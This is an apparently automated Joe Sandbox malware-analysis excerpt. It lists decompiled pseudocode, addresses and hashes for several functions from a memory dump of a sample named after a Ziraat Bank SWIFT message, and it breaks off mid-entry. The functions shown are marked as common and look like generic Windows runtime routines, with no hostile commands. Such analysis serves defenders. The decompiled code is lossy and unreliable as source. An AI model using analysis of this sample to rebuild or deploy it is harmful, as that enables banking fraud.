                                                                        Function 0127AA16 Relevance: .1, Instructions: 93COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 95%
                                                                        			E0127AA16(signed short* __ecx) {
				signed int _v8;
				intOrPtr _v12;
				signed short _v16;
				intOrPtr _v20;
				signed short _v24;
				signed short _v28;
				void* _v32;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t25;
				signed short _t38;
				signed short* _t42;
				signed int _t44;
				signed short* _t52;
				signed short _t53;
				signed int _t54;

				_v8 =  *0x136d360 ^ _t54;
				_t42 = __ecx;
				_t44 =  *__ecx & 0x0000ffff;
				_t52 =  &(__ecx[2]);
				_t51 = _t44 + 2;
				if(_t44 + 2 > (__ecx[1] & 0x0000ffff)) {
					L4:
					_t25 =  *0x1367b9c; // 0x0
					_t53 = L01294620(_t44,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t25 + 0x180000, _t51);
					__eflags = _t53;
					if(_t53 == 0) {
						L3:
						return E012BB640(_t28, _t42, _v8 ^ _t54, _t51, _t52, _t53);
					} else {
						E012BF3E0(_t53,  *_t52,  *_t42 & 0x0000ffff);
						 *((short*)(_t53 + (( *_t42 & 0x0000ffff) >> 1) * 2)) = 0;
						L2:
						_t51 = 4;
						if(L01286C59(_t53, _t51, _t58) != 0) {
							_t28 = E012A5E50(0x125c338, 0, 0,  &_v32);
							__eflags = _t28;
							if(_t28 == 0) {
								_t38 = ( *_t42 & 0x0000ffff) + 2;
								__eflags = _t38;
								_v24 = _t53;
								_v16 = _t38;
								_v20 = 0;
								_v12 = 0;
								E012AB230(_v32, _v28, 0x125c2d8, 1,  &_v24);
								_t28 = E0127F7A0(_v32, _v28);
							}
							__eflags = _t53 -  *_t52;
							if(_t53 !=  *_t52) {
								_t28 = L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t53);
							}
						}
						goto L3;
					}
				}
				_t53 =  *_t52;
				_t44 = _t44 >> 1;
				_t58 =  *((intOrPtr*)(_t53 + _t44 * 2));
				if( *((intOrPtr*)(_t53 + _t44 * 2)) != 0) {
					goto L4;
				}
				goto L2;
			}




















                                                                        0x0127aa25
                                                                        0x0127aa29
                                                                        0x0127aa2d
                                                                        0x0127aa30
                                                                        0x0127aa37
                                                                        0x0127aa3c
                                                                        0x012d4458
                                                                        0x012d4458
                                                                        0x012d4472
                                                                        0x012d4474
                                                                        0x012d4476
                                                                        0x0127aa64
                                                                        0x0127aa74
                                                                        0x012d447c
                                                                        0x012d4483
                                                                        0x012d4492
                                                                        0x0127aa52
                                                                        0x0127aa54
                                                                        0x0127aa5e
                                                                        0x012d44a8
                                                                        0x012d44ad
                                                                        0x012d44af
                                                                        0x012d44b6
                                                                        0x012d44b6
                                                                        0x012d44b9
                                                                        0x012d44bc
                                                                        0x012d44cd
                                                                        0x012d44d3
                                                                        0x012d44d6
                                                                        0x012d44e1
                                                                        0x012d44e1
                                                                        0x012d44e6
                                                                        0x012d44e8
                                                                        0x012d44fb
                                                                        0x012d44fb
                                                                        0x012d44e8
                                                                        0x00000000
                                                                        0x0127aa5e
                                                                        0x012d4476
                                                                        0x0127aa42
                                                                        0x0127aa46
                                                                        0x0127aa48
                                                                        0x0127aa4c
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000

                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 23bfb36c7ffd80df41d83c5af636701fa76d0d30077d36102e377853e87bc29a
                                                                        • Instruction ID: 6f816ce894ae7b31ffebe3bc369f95ec11d4de242972f1c6e53d741b957f9c1b
                                                                        • Opcode Fuzzy Hash: 23bfb36c7ffd80df41d83c5af636701fa76d0d30077d36102e377853e87bc29a
                                                                        • Instruction Fuzzy Hash: 4331D571A2025AABCF15AF68CD81ABFB7B8FF04700F45406AF901E7250E7749D51CBA0
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 012B8EC7 Relevance: .1, Instructions: 92COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 93%
                                                                        			E012B8EC7(void* __ecx, void* __edx) {
				signed int _v8;
				signed int* _v16;
				intOrPtr _v20;
				signed int* _v24;
				char* _v28;
				signed int* _v32;
				intOrPtr _v36;
				signed int* _v40;
				signed int* _v44;
				signed int* _v48;
				intOrPtr _v52;
				signed int* _v56;
				signed int* _v60;
				signed int* _v64;
				intOrPtr _v68;
				signed int* _v72;
				char* _v76;
				signed int* _v80;
				signed int _v84;
				signed int* _v88;
				intOrPtr _v92;
				signed int* _v96;
				intOrPtr _v100;
				signed int* _v104;
				signed int* _v108;
				char _v140;
				signed int _v144;
				signed int _v148;
				signed int* _v152;
				char _v156;
				signed int* _v160;
				char _v164;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t67;
				intOrPtr _t70;
				void* _t71;
				void* _t72;
				signed int _t73;

				_t69 = __edx;
				_v8 =  *0x136d360 ^ _t73;
				_t48 =  *[fs:0x30];
				_t72 = __edx;
				_t71 = __ecx;
				if( *((intOrPtr*)( *[fs:0x30] + 0x18)) != 0) {
					_t48 = E012A4E70(0x13686e4, 0x12b9490, 0, 0);
					if( *0x13653e8 > 5 && E012B8F33(0x13653e8, 0, 0x2000) != 0) {
						_v156 =  *((intOrPtr*)(_t71 + 0x44));
						_v144 =  *(_t72 + 0x44) & 0x0000ffff;
						_v148 =  *(_t72 + 0x46) & 0x0000ffff;
						_v164 =  *((intOrPtr*)(_t72 + 0x58));
						_v108 =  &_v84;
						_v92 =  *((intOrPtr*)(_t71 + 0x28));
						_v84 =  *(_t71 + 0x24) & 0x0000ffff;
						_v76 =  &_v156;
						_t70 = 8;
						_v60 =  &_v144;
						_t67 = 4;
						_v44 =  &_v148;
						_v152 = 0;
						_v160 = 0;
						_v104 = 0;
						_v100 = 2;
						_v96 = 0;
						_v88 = 0;
						_v80 = 0;
						_v72 = 0;
						_v68 = _t70;
						_v64 = 0;
						_v56 = 0;
						_v52 = 0x13653e8;
						_v48 = 0;
						_v40 = 0;
						_v36 = 0x13653e8;
						_v32 = 0;
						_v28 =  &_v164;
						_v24 = 0;
						_v20 = _t70;
						_v16 = 0;
						_t69 = 0x125bc46;
						_t48 = E012F7B9C(0x13653e8, 0x125bc46, _t67, 0x13653e8, _t70,  &_v140);
					}
				}
				return E012BB640(_t48, 0, _v8 ^ _t73, _t69, _t71, _t72);
			}











































                                                                        0x012b8ec7
                                                                        0x012b8ed9
                                                                        0x012b8edc
                                                                        0x012b8ee6
                                                                        0x012b8ee9
                                                                        0x012b8eee
                                                                        0x012b8efc
                                                                        0x012b8f08
                                                                        0x012f1349
                                                                        0x012f1353
                                                                        0x012f135d
                                                                        0x012f1366
                                                                        0x012f136f
                                                                        0x012f1375
                                                                        0x012f137c
                                                                        0x012f1385
                                                                        0x012f1390
                                                                        0x012f1391
                                                                        0x012f139c
                                                                        0x012f139d
                                                                        0x012f13a6
                                                                        0x012f13ac
                                                                        0x012f13b2
                                                                        0x012f13b5
                                                                        0x012f13bc
                                                                        0x012f13bf
                                                                        0x012f13c2
                                                                        0x012f13c5
                                                                        0x012f13c8
                                                                        0x012f13cb
                                                                        0x012f13ce
                                                                        0x012f13d1
                                                                        0x012f13d4
                                                                        0x012f13d7
                                                                        0x012f13da
                                                                        0x012f13dd
                                                                        0x012f13e0
                                                                        0x012f13e3
                                                                        0x012f13e6
                                                                        0x012f13e9
                                                                        0x012f13f6
                                                                        0x012f1400
                                                                        0x012f1400
                                                                        0x012b8f08
                                                                        0x012b8f32

                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 7ed985622dddd41c80d3800097ce0d9b7405711ebac7d39cea6593da2b4ed8d8
                                                                        • Instruction ID: b5ef6a9b0c45ad54680109371199f0e608f88c8d0a98d818baa3dcdcf9117c11
                                                                        • Opcode Fuzzy Hash: 7ed985622dddd41c80d3800097ce0d9b7405711ebac7d39cea6593da2b4ed8d8
                                                                        • Instruction Fuzzy Hash: 894182B1D102199FDB20CFAAD981AEDFBF8FB48710F5081AEE649A7240D7745A44CF51
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 012AE730 Relevance: .1, Instructions: 89COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 74%
                                                                        			E012AE730(void* __edx, signed int _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a32, intOrPtr _a36, intOrPtr* _a40) {
				intOrPtr* _v0;
				signed char _v4;
				signed int _v8;
				void* __ecx;
				void* __ebp;
				void* _t37;
				intOrPtr _t38;
				signed int _t44;
				signed char _t52;
				void* _t54;
				intOrPtr* _t56;
				void* _t58;
				char* _t59;
				signed int _t62;

				_t58 = __edx;
				_push(0);
				_push(4);
				_push( &_v8);
				_push(0x24);
				_push(0xffffffff);
				if(E012B9670() < 0) {
					E012CDF30(_t54, _t58, _t35);
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					_push(_t54);
					_t52 = _v4;
					if(_t52 > 8) {
						_t37 = 0xc0000078;
					} else {
						_t38 =  *0x1367b9c; // 0x0
						_t62 = _t52 & 0x000000ff;
						_t59 = L01294620(8 + _t62 * 4,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t38 + 0x140000, 8 + _t62 * 4);
						if(_t59 == 0) {
							_t37 = 0xc0000017;
						} else {
							_t56 = _v0;
							 *(_t59 + 1) = _t52;
							 *_t59 = 1;
							 *((intOrPtr*)(_t59 + 2)) =  *_t56;
							 *((short*)(_t59 + 6)) =  *((intOrPtr*)(_t56 + 4));
							_t44 = _t62 - 1;
							if(_t44 <= 7) {
								switch( *((intOrPtr*)(_t44 * 4 +  &M012AE810))) {
									case 0:
										L6:
										 *((intOrPtr*)(_t59 + 8)) = _a8;
										goto L7;
									case 1:
										L13:
										 *((intOrPtr*)(__edx + 0xc)) = _a12;
										goto L6;
									case 2:
										L12:
										 *((intOrPtr*)(__edx + 0x10)) = _a16;
										goto L13;
									case 3:
										L11:
										 *((intOrPtr*)(__edx + 0x14)) = _a20;
										goto L12;
									case 4:
										L10:
										 *((intOrPtr*)(__edx + 0x18)) = _a24;
										goto L11;
									case 5:
										L9:
										 *((intOrPtr*)(__edx + 0x1c)) = _a28;
										goto L10;
									case 6:
										L17:
										 *((intOrPtr*)(__edx + 0x20)) = _a32;
										goto L9;
									case 7:
										 *((intOrPtr*)(__edx + 0x24)) = _a36;
										goto L17;
								}
							}
							L7:
							 *_a40 = _t59;
							_t37 = 0;
						}
					}
					return _t37;
				} else {
					_push(0x20);
					asm("ror eax, cl");
					return _a4 ^ _v8;
				}
			}

















                                                                        0x012ae730
                                                                        0x012ae736
                                                                        0x012ae738
                                                                        0x012ae73d
                                                                        0x012ae73e
                                                                        0x012ae740
                                                                        0x012ae749
                                                                        0x012ae765
                                                                        0x012ae76a
                                                                        0x012ae76b
                                                                        0x012ae76c
                                                                        0x012ae76d
                                                                        0x012ae76e
                                                                        0x012ae76f
                                                                        0x012ae775
                                                                        0x012ae777
                                                                        0x012ae77e
                                                                        0x012eb675
                                                                        0x012ae784
                                                                        0x012ae784
                                                                        0x012ae789
                                                                        0x012ae7a8
                                                                        0x012ae7ac
                                                                        0x012ae807
                                                                        0x012ae7ae
                                                                        0x012ae7ae
                                                                        0x012ae7b1
                                                                        0x012ae7b4
                                                                        0x012ae7b9
                                                                        0x012ae7c0
                                                                        0x012ae7c4
                                                                        0x012ae7ca
                                                                        0x012ae7cc
                                                                        0x00000000
                                                                        0x012ae7d3
                                                                        0x012ae7d6
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012ae7ff
                                                                        0x012ae802
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012ae7f9
                                                                        0x012ae7fc
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012ae7f3
                                                                        0x012ae7f6
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012ae7ed
                                                                        0x012ae7f0
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012ae7e7
                                                                        0x012ae7ea
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012eb685
                                                                        0x012eb688
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012eb682
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012ae7cc
                                                                        0x012ae7d9
                                                                        0x012ae7dc
                                                                        0x012ae7de
                                                                        0x012ae7de
                                                                        0x012ae7ac
                                                                        0x012ae7e4
                                                                        0x012ae74b
                                                                        0x012ae751
                                                                        0x012ae759
                                                                        0x012ae761
                                                                        0x012ae761

                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 0d4e641f6ad82e0a7bfdc37673f8feee2369f04e9136a5dd5053c579426c9985
                                                                        • Instruction ID: 42087d90d28852440fce672d270fd4f11246b5d32d479f10f210d981d4ecbd8b
                                                                        • Opcode Fuzzy Hash: 0d4e641f6ad82e0a7bfdc37673f8feee2369f04e9136a5dd5053c579426c9985
                                                                        • Instruction Fuzzy Hash: 0C31D675A24249EFD704CF58D841F9ABBE4FB09314F558256FA04CB341D671EC81CBA0
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 012ABC2C Relevance: .1, Instructions: 88COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 67%
                                                                        			E012ABC2C(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4, signed int _a8) {
				intOrPtr _v8;
				intOrPtr _v12;
				void* __ebx;
				void* __edi;
				intOrPtr _t22;
				intOrPtr* _t41;
				intOrPtr _t51;

				_t51 =  *0x1366100; // 0x5
				_v12 = __edx;
				_v8 = __ecx;
				if(_t51 >= 0x800) {
					L12:
					return 0;
				} else {
					goto L1;
				}
				while(1) {
					L1:
					_t22 = _t51;
					asm("lock cmpxchg [ecx], edx");
					if(_t51 == _t22) {
						break;
					}
					_t51 = _t22;
					if(_t22 < 0x800) {
						continue;
					}
					goto L12;
				}
				E01292280(0xd, 0x60ff1a0);
				_t41 =  *0x13660f8; // 0x0
				if(_t41 != 0) {
					 *0x13660f8 =  *_t41;
					 *0x13660fc =  *0x13660fc + 0xffff;
				}
				E0128FFB0(_t41, 0x800, 0x60ff1a0);
				if(_t41 != 0) {
					L6:
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					 *((intOrPtr*)(_t41 + 0x1c)) = _v12;
					 *((intOrPtr*)(_t41 + 0x20)) = _a4;
					 *(_t41 + 0x36) =  *(_t41 + 0x36) & 0x00008000 | _a8 & 0x00003fff;
					do {
						asm("lock xadd [0x13660f0], ax");
						 *((short*)(_t41 + 0x34)) = 1;
					} while (1 == 0);
					goto L8;
				} else {
					_t41 = L01294620(0x1366100,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, 0xd0);
					if(_t41 == 0) {
						L11:
						asm("lock dec dword [0x1366100]");
						L8:
						return _t41;
					}
					 *(_t41 + 0x24) =  *(_t41 + 0x24) & 0x00000000;
					 *(_t41 + 0x28) =  *(_t41 + 0x28) & 0x00000000;
					if(_t41 == 0) {
						goto L11;
					}
					goto L6;
				}
			}










                                                                        0x012abc36
                                                                        0x012abc42
                                                                        0x012abc45
                                                                        0x012abc4a
                                                                        0x012abd35
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012abc50
                                                                        0x012abc50
                                                                        0x012abc58
                                                                        0x012abc5a
                                                                        0x012abc60
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012ea4f2
                                                                        0x012ea4f6
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012ea4fc
                                                                        0x012abc79
                                                                        0x012abc7e
                                                                        0x012abc86
                                                                        0x012abd16
                                                                        0x012abd20
                                                                        0x012abd20
                                                                        0x012abc8d
                                                                        0x012abc94
                                                                        0x012abcbd
                                                                        0x012abcca
                                                                        0x012abccb
                                                                        0x012abccc
                                                                        0x012abccd
                                                                        0x012abcce
                                                                        0x012abcd4
                                                                        0x012abcea
                                                                        0x012abcee
                                                                        0x012abcf2
                                                                        0x012abd00
                                                                        0x012abd04
                                                                        0x00000000
                                                                        0x012abc96
                                                                        0x012abcab
                                                                        0x012abcaf
                                                                        0x012abd2c
                                                                        0x012abd2c
                                                                        0x012abd09
                                                                        0x00000000
                                                                        0x012abd09
                                                                        0x012abcb1
                                                                        0x012abcb5
                                                                        0x012abcbb
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012abcbb

                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 768b5409f6f10a2f99871a76b2a9939e56bce800e0606ebf7126bcd3179c663e
                                                                        • Instruction ID: 40f1312dbe8ab8fabe402810ba824822ad78fe89a51581f9ae2ba1d19a2c4c43
                                                                        • Opcode Fuzzy Hash: 768b5409f6f10a2f99871a76b2a9939e56bce800e0606ebf7126bcd3179c663e
                                                                        • Instruction Fuzzy Hash: CE31DFB6A20A169FCB11DF58D4817A677B8FB18350F448079EE45DB205EB74D905CBC0
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 01279100 Relevance: .1, Instructions: 87COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 76%
                                                                        			E01279100(signed int __ebx, void* __ecx, void* __edi, signed int __esi, void* __eflags) {
				signed int _t53;
				signed int _t56;
				signed int* _t60;
				signed int _t63;
				signed int _t66;
				signed int _t69;
				void* _t70;
				intOrPtr* _t72;
				void* _t78;
				void* _t79;
				signed int _t80;
				intOrPtr _t82;
				void* _t85;
				void* _t88;
				void* _t89;

				_t84 = __esi;
				_t70 = __ecx;
				_t68 = __ebx;
				_push(0x2c);
				_push(0x134f6e8);
				E012CD0E8(__ebx, __edi, __esi);
				 *((char*)(_t85 - 0x1d)) = 0;
				_t82 =  *((intOrPtr*)(_t85 + 8));
				if(_t82 == 0) {
					L4:
					if( *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28)) == 0) {
						E013488F5(_t68, _t70, _t78, _t82, _t84, __eflags);
					}
					L5:
					return E012CD130(_t68, _t82, _t84);
				}
				_t88 = _t82 -  *0x13686c0; // 0xe107b0
				if(_t88 == 0) {
					goto L4;
				}
				_t89 = _t82 -  *0x13686b8; // 0x0
				if(_t89 == 0 ||  *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28)) != 0) {
					goto L4;
				} else {
					E01292280(_t82 + 0xe0, _t82 + 0xe0);
					 *(_t85 - 4) =  *(_t85 - 4) & 0x00000000;
					__eflags =  *((char*)(_t82 + 0xe5));
					if(__eflags != 0) {
						E013488F5(__ebx, _t70, _t78, _t82, __esi, __eflags);
						goto L12;
					} else {
						__eflags =  *((char*)(_t82 + 0xe4));
						if( *((char*)(_t82 + 0xe4)) == 0) {
							 *((char*)(_t82 + 0xe4)) = 1;
							_push(_t82);
							_push( *((intOrPtr*)(_t82 + 0x24)));
							E012BAFD0();
						}
						while(1) {
							_t60 = _t82 + 8;
							 *(_t85 - 0x2c) = _t60;
							_t68 =  *_t60;
							_t80 = _t60[1];
							 *(_t85 - 0x28) = _t68;
							 *(_t85 - 0x24) = _t80;
							while(1) {
								L10:
								__eflags = _t80;
								if(_t80 == 0) {
									break;
								}
								_t84 = _t68;
								 *(_t85 - 0x30) = _t80;
								 *(_t85 - 0x24) = _t80 - 1;
								asm("lock cmpxchg8b [edi]");
								_t68 = _t84;
								 *(_t85 - 0x28) = _t68;
								 *(_t85 - 0x24) = _t80;
								__eflags = _t68 - _t84;
								_t82 =  *((intOrPtr*)(_t85 + 8));
								if(_t68 != _t84) {
									continue;
								}
								__eflags = _t80 -  *(_t85 - 0x30);
								if(_t80 !=  *(_t85 - 0x30)) {
									continue;
								}
								__eflags = _t80;
								if(_t80 == 0) {
									break;
								}
								_t63 = 0;
								 *(_t85 - 0x34) = 0;
								_t84 = 0;
								__eflags = 0;
								while(1) {
									 *(_t85 - 0x3c) = _t84;
									__eflags = _t84 - 3;
									if(_t84 >= 3) {
										break;
									}
									__eflags = _t63;
									if(_t63 != 0) {
										L40:
										_t84 =  *_t63;
										__eflags = _t84;
										if(_t84 != 0) {
											_t84 =  *(_t84 + 4);
											__eflags = _t84;
											if(_t84 != 0) {
												 *0x136b1e0(_t63, _t82);
												 *_t84();
											}
										}
										do {
											_t60 = _t82 + 8;
											 *(_t85 - 0x2c) = _t60;
											_t68 =  *_t60;
											_t80 = _t60[1];
											 *(_t85 - 0x28) = _t68;
											 *(_t85 - 0x24) = _t80;
											goto L10;
										} while (_t63 == 0);
										goto L40;
									}
									_t69 = 0;
									__eflags = 0;
									while(1) {
										 *(_t85 - 0x38) = _t69;
										__eflags = _t69 -  *0x13684c0;
										if(_t69 >=  *0x13684c0) {
											break;
										}
										__eflags = _t63;
										if(_t63 != 0) {
											break;
										}
										_t66 = E01349063(_t69 * 0xc +  *((intOrPtr*)(_t82 + 0x10 + _t84 * 4)), _t80, _t82);
										__eflags = _t66;
										if(_t66 == 0) {
											_t63 = 0;
											__eflags = 0;
										} else {
											_t63 = _t66 + 0xfffffff4;
										}
										 *(_t85 - 0x34) = _t63;
										_t69 = _t69 + 1;
									}
									_t84 = _t84 + 1;
								}
								__eflags = _t63;
							}
							 *((intOrPtr*)(_t82 + 0xf4)) =  *((intOrPtr*)(_t85 + 4));
							 *((char*)(_t82 + 0xe5)) = 1;
							 *((char*)(_t85 - 0x1d)) = 1;
							L12:
							 *(_t85 - 4) = 0xfffffffe;
							E0127922A(_t82);
							_t53 = E01297D50();
							__eflags = _t53;
							if(_t53 != 0) {
								_t56 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
							} else {
								_t56 = 0x7ffe0386;
							}
							__eflags =  *_t56;
							if( *_t56 != 0) {
								_t56 = E01348B58(_t82);
							}
							__eflags =  *((char*)(_t85 - 0x1d));
							if( *((char*)(_t85 - 0x1d)) != 0) {
								__eflags = _t82 -  *0x13686c0; // 0xe107b0
								if(__eflags != 0) {
									__eflags = _t82 -  *0x13686b8; // 0x0
									if(__eflags == 0) {
										_t79 = 0x13686bc;
										_t72 = 0x13686b8;
										goto L18;
									}
									__eflags = _t56 | 0xffffffff;
									asm("lock xadd [edi], eax");
									if(__eflags == 0) {
										E01279240(_t68, _t82, _t82, _t84, __eflags);
									}
								} else {
									_t79 = 0x13686c4;
									_t72 = 0x13686c0;
									L18:
									E012A9B82(_t68, _t72, _t79, _t82, _t84, __eflags);
								}
							}
							goto L5;
						}
					}
				}
			}


















                                                                        0x01279100
                                                                        0x01279100
                                                                        0x01279100
                                                                        0x01279100
                                                                        0x01279102
                                                                        0x01279107
                                                                        0x0127910c
                                                                        0x01279110
                                                                        0x01279115
                                                                        0x01279136
                                                                        0x01279143
                                                                        0x012d37e4
                                                                        0x012d37e4
                                                                        0x01279149
                                                                        0x0127914e
                                                                        0x0127914e
                                                                        0x01279117
                                                                        0x0127911d
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x0127911f
                                                                        0x01279125
                                                                        0x00000000
                                                                        0x01279151
                                                                        0x01279158
                                                                        0x0127915d
                                                                        0x01279161
                                                                        0x01279168
                                                                        0x012d3715
                                                                        0x00000000
                                                                        0x0127916e
                                                                        0x0127916e
                                                                        0x01279175
                                                                        0x01279177
                                                                        0x0127917e
                                                                        0x0127917f
                                                                        0x01279182
                                                                        0x01279182
                                                                        0x01279187
                                                                        0x01279187
                                                                        0x0127918a
                                                                        0x0127918d
                                                                        0x0127918f
                                                                        0x01279192
                                                                        0x01279195
                                                                        0x01279198
                                                                        0x01279198
                                                                        0x01279198
                                                                        0x0127919a
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012d371f
                                                                        0x012d3721
                                                                        0x012d3727
                                                                        0x012d372f
                                                                        0x012d3733
                                                                        0x012d3735
                                                                        0x012d3738
                                                                        0x012d373b
                                                                        0x012d373d
                                                                        0x012d3740
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012d3746
                                                                        0x012d3749
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012d374f
                                                                        0x012d3751
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012d3757
                                                                        0x012d3759
                                                                        0x012d375c
                                                                        0x012d375c
                                                                        0x012d375e
                                                                        0x012d375e
                                                                        0x012d3761
                                                                        0x012d3764
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012d3766
                                                                        0x012d3768
                                                                        0x012d37a3
                                                                        0x012d37a3
                                                                        0x012d37a5
                                                                        0x012d37a7
                                                                        0x012d37ad
                                                                        0x012d37b0
                                                                        0x012d37b2
                                                                        0x012d37bc
                                                                        0x012d37c2
                                                                        0x012d37c2
                                                                        0x012d37b2
                                                                        0x01279187
                                                                        0x01279187
                                                                        0x0127918a
                                                                        0x0127918d
                                                                        0x0127918f
                                                                        0x01279192
                                                                        0x01279195
                                                                        0x00000000
                                                                        0x01279195
                                                                        0x00000000
                                                                        0x01279187
                                                                        0x012d376a
                                                                        0x012d376a
                                                                        0x012d376c
                                                                        0x012d376c
                                                                        0x012d376f
                                                                        0x012d3775
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012d3777
                                                                        0x012d3779
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012d3782
                                                                        0x012d3787
                                                                        0x012d3789
                                                                        0x012d3790
                                                                        0x012d3790
                                                                        0x012d378b
                                                                        0x012d378b
                                                                        0x012d378b
                                                                        0x012d3792
                                                                        0x012d3795
                                                                        0x012d3795
                                                                        0x012d3798
                                                                        0x012d3798
                                                                        0x012d379b
                                                                        0x012d379b
                                                                        0x012791a3
                                                                        0x012791a9
                                                                        0x012791b0
                                                                        0x012791b4
                                                                        0x012791b4
                                                                        0x012791bb
                                                                        0x012791c0
                                                                        0x012791c5
                                                                        0x012791c7
                                                                        0x012d37da
                                                                        0x012791cd
                                                                        0x012791cd
                                                                        0x012791cd
                                                                        0x012791d2
                                                                        0x012791d5
                                                                        0x01279239
                                                                        0x01279239
                                                                        0x012791d7
                                                                        0x012791db
                                                                        0x012791e1
                                                                        0x012791e7
                                                                        0x012791fd
                                                                        0x01279203
                                                                        0x0127921e
                                                                        0x01279223
                                                                        0x00000000
                                                                        0x01279223
                                                                        0x01279205
                                                                        0x01279208
                                                                        0x0127920c
                                                                        0x01279214
                                                                        0x01279214
                                                                        0x012791e9
                                                                        0x012791e9
                                                                        0x012791ee
                                                                        0x012791f3
                                                                        0x012791f3
                                                                        0x012791f3
                                                                        0x012791e7
                                                                        0x00000000
                                                                        0x012791db
                                                                        0x01279187
                                                                        0x01279168

                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 6737137437b2f8d8a01990249c82688e924eb757f2bf6226d4c3d4265624abc8
